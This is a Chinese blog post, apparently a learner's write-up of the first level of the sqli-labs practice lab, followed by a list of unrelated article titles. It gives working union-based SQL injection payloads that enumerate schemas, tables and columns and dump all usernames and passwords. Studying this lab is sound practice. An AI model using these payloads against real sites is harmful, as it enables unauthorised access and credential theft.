sqli-labs系列——第一关
2024-08-27 22:58:26
先看了一遍关于sql的一些知识点，通关sqli-labs加深下印象。之前也因为作业的原因通关过前10关，但那时候不懂得原理，跟着网上的教程做的，所以这次尝试自己思考通关。
less1
尝试and1=2，不为数值注入
加单引号报错，判断为单引号字符注入
判断表有几行数据，order by 4–+时报错
用union联合查询有无显示位
查询数据库名
?id=0' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
查询表名
?id=0' union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema='security')--+
查询user的列名
?id=1' AND 1=2 union (select group_concat(column_name) from information_schema.columns where table_name='users'--+
查询用户名跟密码
?id=-1' union select 1,(select group_concat(username) from users),(select group_concat(password) from users)--+
最新文章
- FastSocket学习笔记~再说客户端与服务端的组成
- linux 硬盘速度测试
- 【bzoj1588】 HNOI2002—营业额统计
- VS2012使用NUGet自动下载(还原)项目中使用的包
- 安装 SQL server 2008 R2
- php session详解
- Linux下设置网卡随系统启动
- linq join多字段
- GDI学习之俄罗斯方块续
- 利用 Composer 完善自己的 PHP 框架（一）——视图装载
- 记第一次web前端校招笔试
- JavaScript API
- hello spring春天来了
- spring项目启动时执行任务
- 【BZOJ1497】【NOI2006】最大获利
- Android源码目录结构详解
- java.lang.ArrayStoreException: sun.reflect.annotation.TypeNotPresentExceptionProxy
- VS生成Map文件
- JQueryEasyUI easyui-combobox 单击文本区域显示下拉菜单
- tomcat + jdk 快速部署